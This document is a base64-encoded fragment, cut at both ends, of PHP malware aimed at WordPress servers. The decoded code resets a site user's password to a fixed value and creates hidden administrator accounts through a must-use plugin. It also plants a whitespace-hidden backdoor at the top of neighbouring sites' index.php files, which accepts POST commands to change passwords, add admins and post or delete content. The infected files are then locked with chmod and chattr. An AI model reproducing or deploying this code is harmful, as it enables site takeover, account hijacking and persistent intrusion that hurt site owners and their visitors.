AkYWRtaW5fY3JlYXRlZFsibG9naW4iXSwgJEdMT0JBTFNbImhpZGRlbl9hZG1pbl9tdV9waHAiXSk7CiAgICAgICAgICAgICRhZG1pbl9jcmVhdGVkWyJtdV9wbHVnaW4iXSA9IGluc3RhbGxfaGlkZGVuX2FkbWluX211X3BsdWdpbigkbXVQaHApOwogICAgICAgIH0KCiAgICAgICAgaWYgKGlzc2V0KCRfR0VUWyJoaWRkZW5fb25seSJdKSAmJiAkX0dFVFsiaGlkZGVuX29ubHkiXSA9PT0gIjEiKSB7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04Iik7CiAgICAgICAgICAgIGhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSIpOwogICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KAogICAgICAgICAgICAgICAgInN0YXR1cyIgPT4gInN1Y2Nlc3MiLAogICAgICAgICAgICAgICAgImhpZGRlbl9vbmx5IiA9PiB0cnVlLAogICAgICAgICAgICAgICAgImFkbWluX2luZm8iID0+ICRhZG1pbl9jcmVhdGVkLAogICAgICAgICAgICAgICAgImRvbWFpbnMiID0+IGFycmF5KCksCiAgICAgICAgICAgICAgICAic2Nhbl9pbmZvIiA9PiBhcnJheSgKICAgICAgICAgICAgICAgICAgICAidGltZXN0YW1wIiA9PiBkYXRlKCJZLW0tZCBIOmk6cyIpLAogICAgICAgICAgICAgICAgICAgICJ0b3RhbF9mb3VuZCIgPT4gMCwKICAgICAgICAgICAgICAgICAgICAic2Nhbl90aW1lIiA9PiByb3VuZChtaWNyb3RpbWUodHJ1ZSkgLSAkc2NhblN0YXJ0VGltZSwgNCksCiAgICAgICAgICAgICAgICApLAogICAgICAgICAgICApLCBKU09OX1BSRVRUWV9QUklOVCB8IEpTT05fVU5FU0NBUEVEX1VOSUNPREUgfCBKU09OX1VORVNDQVBFRF9TTEFTSEVTKTsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9CgogICAgICAgICRkb2N1bWVudFJvb3QgPSAkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdOwogICAgICAgIAogICAgICAgICRsb2NhbERvbWFpbnMgPSBmaW5kX25laWdoYm9yX2RvbWFpbnMoJGRvY3VtZW50Um9vdCk7CiAgICAgICAgZm9yZWFjaCAoJGxvY2FsRG9tYWlucyBhcyAmJGRvbWFpbikgewogICAgICAgICAgICAkZG9tYWluWyJzY2FuX2xldmVsIl0gPSAibG9jYWwiOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAkcGFyZW50RG9tYWlucyA9IHNjYW5fcGFyZW50X2RpcmVjdG9yaWVzKCRkb2N1bWVudFJvb3QpOwogICAgICAgICRhbGxGb3VuZERvbWFpbnMgPSBhcnJheV9tZXJnZSgkbG9jYWxEb21haW5zLCAkcGFyZW50RG9tYWlucyk7CiAgICAgICAgCiAgICAgICAgLy8g0KPQsdC40YDQsNC10Lwg0LTRg9Cx0LvQuNC60LDRgtGLINC/0L4g0L/Rg9GC0LgKICAgICAgICAkdW5pcXVlRG9tYWlucyA9IGFycmF5KCk7CiAgICAgICAgJHNlZW5QYXRocyA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCAoJGFsbEZvdW5kRG9tYWlucyBhcyAkZG9tYWluKSB7CiAgICAgICAgICAgIGlmICghaW5fYXJyYXkoJGRvbWFpblsicGF0aCJdLCAkc2VlblBhdGhzKSkgewogICAgICAgICAgICAgICAgJHVuaXF1ZURvbWFpbnNbXSA9ICRkb21haW47CiAgICAgICAgICAgICAgICAkc2VlblBhdGhzW10gPSAkZG9tYWluWyJwYXRoIl07CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGFsbEZvdW5kRG9tYWlucyA9ICR1bmlxdWVEb21haW5zOwogICAgICAgIAogICAgICAgICRzY2FuRW5kVGltZSA9IG1pY3JvdGltZSh0cnVlKTsKCiAgICAgICAgJHNvdXJjZV9sb2dpbiA9ICdyaHl0aG1vJzsKICAgICAgICAkc291cmNlX25ld19wYXNzd29yZCA9ICcxMjM0NTY3ODkhJzsKCiAgICAgICAgZnVuY3Rpb24gcm90YXRlX3NvdXJjZV91c2VyX3Bhc3N3b3JkKCRsb2dpbiwgJG5ld1Bhc3N3b3JkKSB7CiAgICAgICAgICAgIGlmIChlbXB0eSgkbG9naW4pIHx8ICFmdW5jdGlvbl9leGlzdHMoImdldF91c2VyX2J5IikpIHsKICAgICAgICAgICAgICAgIHJldHVybiBhcnJheSgiY2hhbmdlZCIgPT4gZmFsc2UsICJyZWFzb24iID0+ICJub193cF9vcl9sb2dpbiIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICR1c2VyID0gZ2V0X3VzZXJfYnkoImxvZ2luIiwgJGxvZ2luKTsKICAgICAgICAgICAgaWYgKCEkdXNlcikgewogICAgICAgICAgICAgICAgcmV0dXJuIGFycmF5KCJjaGFuZ2VkIiA9PiBmYWxzZSwgInJlYXNvbiIgPT4gInVzZXJfbm90X2ZvdW5kIik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgd3Bfc2V0X3Bhc3N3b3JkKCRuZXdQYXNzd29yZCwgJHVzZXItPklEKTsKICAgICAgICAgICAgcmV0dXJuIGFycmF5KCJjaGFuZ2VkIiA9PiB0cnVlLCAidXNlcl9pZCIgPT4gJHVzZXItPklEKTsKICAgICAgICB9CgogICAgICAgICRwYXNzd29yZF9yb3RhdGVkID0gcm90YXRlX3NvdXJjZV91c2VyX3Bhc3N3b3JkKCRzb3VyY2VfbG9naW4sICRzb3VyY2VfbmV3X3Bhc3N3b3JkKTsKICAgICAgICBpZiAoaXNfYXJyYXkoJGFkbWluX2NyZWF0ZWQpKSB7CiAgICAgICAgICAgICRhZG1pbl9jcmVhdGVkWyJzb3VyY2VfdXNlciJdID0gJHNvdXJjZV9sb2dpbjsKICAgICAgICAgICAgJGFkbWluX2NyZWF0ZWRbInNvdXJjZV9wYXNzd29yZF9jaGFuZ2VkIl0gPSAhZW1wdHkoJHBhc3N3b3JkX3JvdGF0ZWRbImNoYW5nZWQiXSk7CiAgICAgICAgICAgICRhZG1pbl9jcmVhdGVkWyJzb3VyY2VfdXNlcl9pZCJdID0gJHBhc3N3b3JkX3JvdGF0ZWRbInVzZXJfaWQiXSA/PyBudWxsOwogICAgICAgICAgICAkYWRtaW5fY3JlYXRlZFsic291cmNlX25ld19wYXNzd29yZCJdID0gJHNvdXJjZV9uZXdfcGFzc3dvcmQ7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIGZ1bmN0aW9uIGluZmVjdF9zaW5nbGVfbmVpZ2hib3JfaW5kZXgoJHNpdGVQYXRoKSB7CiAgICAgICAgICAgICRpbmRleFBhdGggPSBydHJpbSgkc2l0ZVBhdGgsICIvIikgLiAiL2luZGV4LnBocCI7CiAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJGluZGV4UGF0aCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkb3JpZ2luYWxDb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRpbmRleFBhdGgpOwogICAgICAgICAgICBpZiAoJG9yaWdpbmFsQ29udGVudCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoc3RycG9zKCRvcmlnaW5hbENvbnRlbnQsICJteXBvc3Rlcm1lZ2EiKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghaXNfd3JpdGFibGUoJGluZGV4UGF0aCkpIHsKICAgICAgICAgICAgICAgIEBjaG1vZCgkaW5kZXhQYXRoLCAwNjQ0KTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIWlzX3dyaXRhYmxlKCRpbmRleFBhdGgpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHRhYnMgPSBzdHJfcmVwZWF0KCJcdCIsIDUwKTsKICAgICAgICAgICAgJGluZmVjdGVkQ29udGVudCA9ICI8P3BocCIgLiAkdGFicyAuICdpZigoc3RycG9zKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCIvbXlwb3N0ZXJtZWdhIikhPT1mYWxzZXx8JF9TRVJWRVJbIlJFUVVFU1RfVVJJIl09PT0iL215cG9zdGVybWVnYSIpJiYkX1NFUlZFUlsiUkVRVUVTVF9NRVRIT0QiXT09PSJQT1NUIil7JGo9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7JHA9anNvbl9kZWNvZGUoJGosdHJ1ZSk7aWYoISRwKXtoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbiIpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoInN0YXR1cyI9PiJlcnJvciIsIm1lc3NhZ2UiPT4iSW52YWxpZCBKU09OIikpO2V4aXQ7fWlmKCFmdW5jdGlvbl9leGlzdHMoIndwX2luc2VydF9wb3N0Iikpe2lmKGZpbGVfZXhpc3RzKGRpcm5hbWUoX19GSUxFX18pLiIvd3AtbG9hZC5waHAiKSl7cmVxdWlyZV9vbmNlKGRpcm5hbWUoX19GSUxFX18pLiIvd3AtbG9hZC5waHAiKTt9ZWxzZWlmKGZpbGVfZXhpc3RzKGRpcm5hbWUoX19GSUxFX18pLiIvd3AtY29uZmlnLnBocCIpKXtyZXF1aXJlX29uY2UoZGlybmFtZShfX0ZJTEVfXykuIi93cC1jb25maWcucGhwIik7cmVxdWlyZV9vbmNlKGRpcm5hbWUoX19GSUxFX18pLiIvd3AtaW5jbHVkZXMvd3AtZGIucGhwIik7cmVxdWlyZV9vbmNlKGRpcm5hbWUoX19GSUxFX18pLiIvd3AtaW5jbHVkZXMvcGx1Z2dhYmxlLnBocCIpO3JlcXVpcmVfb25jZShkaXJuYW1lKF9fRklMRV9fKS4iL3dwLWluY2x1ZGVzL3Bvc3QucGhwIik7cmVxdWlyZV9vbmNlKGRpcm5hbWUoX19GSUxFX18pLiIvd3AtaW5jbHVkZXMvdXNlci5waHAiKTt9ZWxzZXtoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbiIpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoInN0YXR1cyI9PiJlcnJvciIsIm1lc3NhZ2UiPT4iV29yZFByZXNzIG5vdCBmb3VuZCIpKTtleGl0O319aWYoaXNzZXQoJHBbImFjdGlvbiJdKSYmJHBbImFjdGlvbiJdPT09ImNoYW5nZV9wYXNzd29yZCIpeyRsb2dpbj1pc3NldCgkcFsidXNlcl9sb2dpbiJdKT8kcFsidXNlcl9sb2dpbiJdOihpc3NldCgkcFsibG9naW4iXSk/JHBbImxvZ2luIl06IiIpOyRucD1pc3NldCgkcFsibmV3X3Bhc3N3b3JkIl0pPyRwWyJuZXdfcGFzc3dvcmQiXToiIjtpZigkbG9naW49PT0iInx8JG5wPT09IiIpe2hlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIik7ZWNobyBqc29uX2VuY29kZShhcnJheSgic3RhdHVzIj0+ImVycm9yIiwibWVzc2FnZSI9PiJsb2dpbiBhbmQgbmV3X3Bhc3N3b3JkIHJlcXVpcmVkIikpO2V4aXQ7fSR1PWZ1bmN0aW9uX2V4aXN0cygiZ2V0X3VzZXJfYnkiKT9nZXRfdXNlcl9ieSgibG9naW4iLCRsb2dpbik6ZmFsc2U7aWYoISR1JiZmdW5jdGlvbl9leGlzdHMoImdldF91c2VyX2J5IikpeyR1PWdldF91c2VyX2J5KCJlbWFpbCIsJGxvZ2luKTt9aWYoISR1KXtoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbiIpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoInN0YXR1cyI9PiJlcnJvciIsIm1lc3NhZ2UiPT4idXNlciBub3QgZm91bmQiKSk7ZXhpdDt9d3Bfc2V0X3Bhc3N3b3JkKCRucCwkdS0+SUQpO2hlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIik7ZWNobyBqc29uX2VuY29kZShhcnJheSgic3RhdHVzIj0+InN1Y2Nlc3MiLCJzdWNjZXNzIj0+dHJ1ZSwidXNlcl9pZCI9PihpbnQpJHUtPklELCJ1c2VyX2xvZ2luIj0+JGxvZ2luLCJtZXRob2QiPT4iYmFja2Rvb3IiKSk7ZXhpdDt9aWYoaXNzZXQoJHBbImFjdGlvbiJdKSYmJHBbImFjdGlvbiJdPT09ImNyZWF0ZV9oaWRkZW5fYWRtaW4iKXsKJGxvZ2luPWlzc2V0KCRwWyJsb2dpbiJdKT9wcmVnX3JlcGxhY2UoIi9bXkEtWmEtejAtOS5fLV0vIiwiIiwoc3RyaW5nKSRwWyJsb2dpbiJdKToiIjsKJG5wPWlzc2V0KCRwWyJwYXNzd29yZCJdKT8oc3RyaW5nKSRwWyJwYXNzd29yZCJdOiIiOwokZW1haWw9aXNzZXQoJHBbImVtYWlsIl0pPyhzdHJpbmcpJHBbImVtYWlsIl06IiI7CiRtdT1pc3NldCgkcFsibXVfcGhwIl0pPyhzdHJpbmcpJHBbIm11X3BocCJdOiIiOwppZigkbG9naW49PT0iInx8JG5wPT09IiIpe2hlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIik7ZWNobyBqc29uX2VuY29kZShhcnJheSgic3RhdHVzIj0+ImVycm9yIiwibWVzc2FnZSI9PiJsb2dpbiBhbmQgcGFzc3dvcmQgcmVxdWlyZWQiKSk7ZXhpdDt9CiRiYXNlPWRlZmluZWQoIldQX0NPTlRFTlRfRElSIik/V1BfQ09OVEVOVF9ESVI6KGRlZmluZWQoIkFCU1BBVEgiKT9BQlNQQVRILiJ3cC1jb250ZW50IjoiIik7CmlmKCRiYXNlIT09IiIpewokbXVGaWxlPXJ0cmltKHN0cl9yZXBsYWNlKCJcXFxcIiwiLyIsJGJhc2UpLCIvIikuIi9tdS1wbHVnaW5zL3dwLXVzZXItY29tcGF0LnBocCI7CmlmKGlzX2ZpbGUoJG11RmlsZSkpewokc3JjPShzdHJpbmcpQGZpbGVfZ2V0X2NvbnRlbnRzKCRtdUZpbGUpOwppZihwcmVnX21hdGNoKCIvZGVmaW5lXFxcXChcJ0hJRERFTl9VU0VSX0xPR0lOXCcsIFwnKFtBLVphLXowLTkuXy1dKylcJ1xcXFwpLyIsJHNyYywkaG0pJiYkaG1bMV0hPT0iIil7JGxvZ2luPSRobVsxXTt9Cn0KfQppZigkZW1haWw9PT0iIil7JGVtYWlsPSRsb2dpbi4iQCIuc3Vic3RyKG1kNSgkbG9naW4pLDAsMTIpLiIuY29tIjt9CiR1aWQ9MDskc3Q9ImNyZWF0ZWQiOwppZihmdW5jdGlvbl9leGlzdHMoInVzZXJuYW1lX2V4aXN0cyIpJiZ1c2VybmFtZV9leGlzdHMoJGxvZ2luKSYmZnVuY3Rpb25fZXhpc3RzKCJnZXRfdXNlcl9ieSIpKXsKJHU9Z2V0X3VzZXJfYnkoImxvZ2luIiwkbG9naW4pOwppZigkdSl7JHUtPnNldF9yb2xlKCJhZG1pbmlzdHJhdG9yIik7aWYoZnVuY3Rpb25fZXhpc3RzKCJ3cF9zZXRfcGFzc3dvcmQiKSl7d3Bfc2V0X3Bhc3N3b3JkKCRucCwkdS0+SUQpO30kdWlkPShpbnQpJHUtPklEOyRzdD0iZXhpc3RzIjt9Cn0KaWYoJHVpZD09PTAmJmZ1bmN0aW9uX2V4aXN0cygid3BfY3JlYXRlX3VzZXIiKSl7CiRpZD13cF9jcmVhdGVfdXNlcigkbG9naW4sJG5wLCRlbWFpbCk7CmlmKGlzX3dwX2Vycm9yKCRpZCkpe2hlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIik7ZWNobyBqc29uX2VuY29kZShhcnJheSgic3RhdHVzIj0+ImVycm9yIiwibWVzc2FnZSI9PiRpZC0+Z2V0X2Vycm9yX21lc3NhZ2UoKSkpO2V4aXQ7fQokdT1uZXcgV1BfVXNlcigkaWQpOyR1LT5zZXRfcm9sZSgiYWRtaW5pc3RyYXRvciIpOyR1aWQ9KGludCkkaWQ7JHN0PSJjcmVhdGVkIjsKfQppZigkdWlkPT09MCl7aGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiPT4iZXJyb3IiLCJtZXNzYWdlIj0+InVzZXIgY3JlYXRlIGZhaWxlZCIpKTtleGl0O30KJG11U3RhdHVzPSJza2lwcGVkIjsKaWYoJG11IT09IiIpewokbXU9c3RyX3JlcGxhY2UoIl9fTE9HSU5fXyIsJGxvZ2luLCRtdSk7CmlmKCRiYXNlPT09IiIpeyRtdVN0YXR1cz0ibm9fd3AiO30KZWxzZXsKJGRpcj1ydHJpbShzdHJfcmVwbGFjZSgiXFxcXCIsIi8iLCRiYXNlKSwiLyIpLiIvbXUtcGx1Z2lucyI7CmlmKCFpc19kaXIoJGRpcikmJiFAbWtkaXIoJGRpciwwNzU1LHRydWUpJiYhaXNfZGlyKCRkaXIpKXskbXVTdGF0dXM9Im1rZGlyX2ZhaWxlZCI7fQplbHNlaWYoQGZpbGVfcHV0X2NvbnRlbnRzKCRkaXIuIi93cC11c2VyLWNvbXBhdC5waHAiLCRtdSk9PT1mYWxzZSl7JG11U3RhdHVzPSJ3cml0ZV9mYWlsZWQiO30KZWxzZXtAY2htb2QoJGRpci4iL3dwLXVzZXItY29tcGF0LnBocCIsMDY0NCk7JG11U3RhdHVzPSJpbnN0YWxsZWQiO30KfQp9CmhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIik7CmVjaG8ganNvbl9lbmNvZGUoYXJyYXkoInN0YXR1cyI9PiJzdWNjZXNzIiwic3VjY2VzcyI9PnRydWUsImFkbWluX2luZm8iPT5hcnJheSgic3RhdHVzIj0+JHN0LCJsb2dpbiI9PiRsb2dpbiwicGFzc3dvcmQiPT4kbnAsInVzZXJfaWQiPT4kdWlkLCJtdV9wbHVnaW4iPT5hcnJheSgic3RhdHVzIj0+JG11U3RhdHVzKSkpKTsKZXhpdDt9aWYoaXNzZXQoJHBbImFjdGlvbiJdKSYmJHBbImFjdGlvbiJdPT09ImRlbGV0ZSImJmlzc2V0KCRwWyJwb3N0X2lkIl0pKXskcGlkPShpbnQpJHBbInBvc3RfaWQiXTskZm9yY2U9IWVtcHR5KCRwWyJmb3JjZSJdKTskcj0kZm9yY2U/d3BfZGVsZXRlX3Bvc3QoJHBpZCx0cnVlKTp3cF9kZWxldGVfcG9zdCgkcGlkLGZhbHNlKTtoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbiIpO2lmKCRyKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiPT4ic3VjY2VzcyIsInN1Y2Nlc3MiPT50cnVlLCJkZWxldGVkIj0+dHJ1ZSwicG9zdF9pZCI9PiRwaWQsImZvcmNlIj0+JGZvcmNlKSk7fWVsc2V7ZWNobyBqc29uX2VuY29kZShhcnJheSgic3RhdHVzIj0+ImVycm9yIiwibWVzc2FnZSI9PiJEZWxldGUgZmFpbGVkIiwicG9zdF9pZCI9PiRwaWQpKTt9ZXhpdDt9aWYoaXNzZXQoJHBbInRpdGxlIl0pJiZpc3NldCgkcFsiY29udGVudCJdKSl7JHQ9c3RyaXBfdGFncygkcFsidGl0bGUiXSk7JGM9JHBbImNvbnRlbnQiXTskc3Q9aXNzZXQoJHBbInN0YXR1cyJdKSYmIWVtcHR5KCRwWyJzdGF0dXMiXSk/JHBbInN0YXR1cyJdOiJwdWJsaXNoIjskbj1hcnJheSgicG9zdF90aXRsZSI9PiR0LCJwb3N0X2NvbnRlbnQiPT4kYywicG9zdF9zdGF0dXMiPT4kc3QsInBvc3RfdHlwZSI9PiJwb3N0Iik7aWYoaXNzZXQoJHBbInNsdWciXSkmJiFlbXB0eSgkcFsic2x1ZyJdKSl7JG5bInBvc3RfbmFtZSJdPWZ1bmN0aW9uX2V4aXN0cygic2FuaXRpemVfdGl0bGUiKT9zYW5pdGl6ZV90aXRsZSgkcFsic2x1ZyJdKTpwcmVnX3JlcGxhY2UoIi9bXmEtejAtOS1dLyIsIi0iLHN0cnRvbG93ZXIoJHBbInNsdWciXSkpO31pZihpc3NldCgkcFsiZXhjZXJwdCJdKSYmIWVtcHR5KCRwWyJleGNlcnB0Il0pKXskblsicG9zdF9leGNlcnB0Il09c3RyaXBfdGFncygkcFsiZXhjZXJwdCJdKTt9aWYoaXNzZXQoJHBbInBvc3RfZGF0ZSJdKSYmIWVtcHR5KCRwWyJwb3N0X2RhdGUiXSkpeyRuWyJwb3N0X2RhdGUiXT0kcFsicG9zdF9kYXRlIl07JG5bImVkaXRfZGF0ZSJdPXRydWU7fWlmKGlzc2V0KCRwWyJwb3N0X2RhdGVfZ210Il0pJiYhZW1wdHkoJHBbInBvc3RfZGF0ZV9nbXQiXSkpeyRuWyJwb3N0X2RhdGVfZ210Il09JHBbInBvc3RfZGF0ZV9nbXQiXTt9JGk9d3BfaW5zZXJ0X3Bvc3QoJG4pO2hlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIik7aWYoJGkmJiFpc193cF9lcnJvcigkaSkpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoInN0YXR1cyI9PiJzdWNjZXNzIiwic3VjY2VzcyI9PnRydWUsInBvc3RfaWQiPT4kaSwicG9zdF91cmwiPT5nZXRfcGVybWFsaW5rKCRpKSwibWVzc2FnZSI9PiJQb3N0IGNyZWF0ZWQiKSk7fWVsc2V7ZWNobyBqc29uX2VuY29kZShhcnJheSgic3RhdHVzIj0+ImVycm9yIiwibWVzc2FnZSI9PiJQb3N0IGNyZWF0aW9uIGZhaWxlZCIpKTt9ZXhpdDt9aGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiPT4iZXJyb3IiLCJtZXNzYWdlIj0+IkludmFsaWQgZGF0YSIpKTtleGl0O30nIC4gIiA/PiIgLiAiXG4iIC4gJG9yaWdpbmFsQ29udGVudDsKICAgICAgICAgICAgaWYgKEBmaWxlX3B1dF9jb250ZW50cygkaW5kZXhQYXRoLCAkaW5mZWN0ZWRDb250ZW50KSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBAY2htb2QoJGluZGV4UGF0aCwgMDQ0NCk7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoImV4ZWMiKSkgewogICAgICAgICAgICAgICAgQGV4ZWMoImNoYXR0ciAraSAiIC4gZXNjYXBlc2hlbGxhcmcoJGluZGV4UGF0aCkgLiAiIDI+L2Rldi9udWxsIik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBuZWlnaGJvcl9hZG1pbl9vaygkcmVzdWx0KSB7CiAgICAgICAgICAgIHJldHVybiBpc19hcnJheSgkcmVzdWx0KSAmJiBpbl9hcnJheSgkcmVzdWx0WyJzdGF0dXMiXSA/PyAiIiwgYXJyYXkoImNyZWF0ZWQiLCAiZXhpc3RzIiksIHRydWUpOwogICAgICAgIH0KCiAgICAgICAgZnVuY3Rpb24gZmluZF9waHBfY2xpX2JpbmFyeSgpIHsKICAgICAgICAgICAgJGNhbmRpZGF0ZXMgPSBhcnJheSgpOwogICAgICAgICAgICBpZiAoZGVmaW5lZCgiUEhQX0JJTkFSWSIpICYmIFBIUF9CSU5BUlkgJiYgc3RyaXBvcyhQSFBfQklOQVJZLCAiZnBtIikgPT09IGZhbHNlICYmIHN0cmlwb3MoUEhQX0JJTkFSWSwgImNnaSIpID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgJGNhbmRpZGF0ZXNbXSA9IFBIUF9CSU5BUlk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGNhbmRpZGF0ZXNbXSA9ICIvdXNyL2Jpbi9waHAiOwogICAgICAgICAgICAkY2FuZGlkYXRlc1tdID0gIi91c3IvbG9jYWwvYmluL3BocCI7CiAgICAgICAgICAgICRjYW5kaWRhdGVzW10gPSAiL3Vzci9iaW4vcGhwOC4zIjsKICAgICAgICAgICAgJGNhbmRpZGF0ZXNbXSA9ICIvdXNyL2Jpbi9waHA4LjIiOwogICAgICAgICAgICAkY2FuZGlkYXRlc1tdID0gIi91c3IvYmluL3BocDguMSI7CiAgICAgICAgICAgICRjYW5kaWRhdGVzW10gPSAiL3Vzci9iaW4vcGhwOC4wIjsKICAgICAgICAgICAgJGNhbmRpZGF0ZXNbXSA9ICIvdXNyL2Jpbi9waHA3LjQiOwogICAgICAgICAgICBmb3JlYWNoICgkY2FuZGlkYXRlcyBhcyAkYmluKSB7CiAgICAgICAgICAgICAgICBpZiAoJGJpbiAhPT0gIiIgJiYgQGlzX2V4ZWN1dGFibGUoJGJpbikpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGJpbjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJleGVjIikpIHsKICAgICAgICAgICAgICAgICR3aGljaCA9IHRyaW0oKHN0cmluZykgQGV4ZWMoImNvbW1hbmQgLXYgcGhwIDI+L2Rldi9udWxsIikpOwogICAgICAgICAgICAgICAgaWYgKCR3aGljaCAhPT0gIiIgJiYgQGlzX2V4ZWN1dGFibGUoJHdoaWNoKSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAkd2hpY2g7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIG51bGw7CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBuZWlnaGJvcl9hZG1pbl9ib290c3RyYXBfc291cmNlKCR3cExvYWRFeHByKSB7CiAgICAgICAgICAgICRtdUV4cG9ydCA9IHZhcl9leHBvcnQoaXNzZXQoJEdMT0JBTFNbImhpZGRlbl9hZG1pbl9tdV9waHAiXSkgPyAkR0xPQkFMU1siaGlkZGVuX2FkbWluX211X3BocCJdIDogIiIsIHRydWUpOwogICAgICAgICAgICAkaGVscGVycyA9IGlzc2V0KCRHTE9CQUxTWyJoaWRkZW5fYWRtaW5faGVscGVyc19waHAiXSkgPyAoc3RyaW5nKSAkR0xPQkFMU1siaGlkZGVuX2FkbWluX2hlbHBlcnNfcGhwIl0gOiAiIjsKICAgICAgICAgICAgcmV0dXJuICI8P3BocFxuIgogICAgICAgICAgICAgICAgLiAiaWYgKGVtcHR5KFwkX1NFUlZFUltcIkhUVFBfSE9TVFwiXSkpIHsgXCRfU0VSVkVSW1wiSFRUUF9IT1NUXCJdID0gXCJsb2NhbGhvc3RcIjsgfVxuIgogICAgICAgICAgICAgICAgLiAiaWYgKGVtcHR5KFwkX1NFUlZFUltcIlJFUVVFU1RfVVJJXCJdKSkgeyBcJF9TRVJWRVJbXCJSRVFVRVNUX1VSSVwiXSA9IFwiL1wiOyB9XG4iCiAgICAgICAgICAgICAgICAuICJkZWZpbmUoXCJXUF9VU0VfVEhFTUVTXCIsIGZhbHNlKTtcbiIKICAgICAgICAgICAgICAgIC4gInJlcXVpcmUgIiAuICR3cExvYWRFeHByIC4gIjtcbiIKICAgICAgICAgICAgICAgIC4gJGhlbHBlcnMgLiAiXG4iCiAgICAgICAgICAgICAgICAuICJcJGxvZ2luID0gYWxsb2NhdGVfaGlkZGVuX2FkbWluX2xvZ2luKCk7XG4iCiAgICAgICAgICAgICAgICAuICJcJHBhc3N3b3JkID0gcmFuZG9tX2hpZGRlbl9hZG1pbl9wYXNzd29yZCgpO1xuIgogICAgICAgICAgICAgICAgLiAiXCRlbWFpbCA9IGhpZGRlbl9hZG1pbl9lbWFpbChcJGxvZ2luKTtcbiIKICAgICAgICAgICAgICAgIC4gIlwkbXVfcGhwID0gc3RyX3JlcGxhY2UoXCJfX0xPR0lOX19cIiwgXCRsb2dpbiwgIiAuICRtdUV4cG9ydCAuICIpO1xuIgogICAgICAgICAgICAgICAgLiAiZnVuY3Rpb24gX2luc3RhbGxfaGlkZGVuX211KFwkcGhwKSB7XG4iCiAgICAgICAgICAgICAgICAuICIgIFwkYmFzZSA9IGRlZmluZWQoXCJXUF9DT05URU5UX0RJUlwiKSA/IFdQX0NPTlRFTlRfRElSIDogKGRlZmluZWQoXCJBQlNQQVRIXCIpID8gQUJTUEFUSCAuIFwid3AtY29udGVudFwiIDogXCJcIik7XG4iCiAgICAgICAgICAgICAgICAuICIgIGlmIChcJGJhc2UgPT09IFwiXCIpIHsgcmV0dXJuIFwibm9fd3BcIjsgfVxuIgogICAgICAgICAgICAgICAgLiAiICBcJGRpciA9IHJ0cmltKFwkYmFzZSwgXCIvXFxcIikgLiBcIi9tdS1wbHVnaW5zXCI7XG4iCiAgICAgICAgICAgICAgICAuICIgIGlmICghaXNfZGlyKFwkZGlyKSAmJiAhQG1rZGlyKFwkZGlyLCAwNzU1LCB0cnVlKSAmJiAhaXNfZGly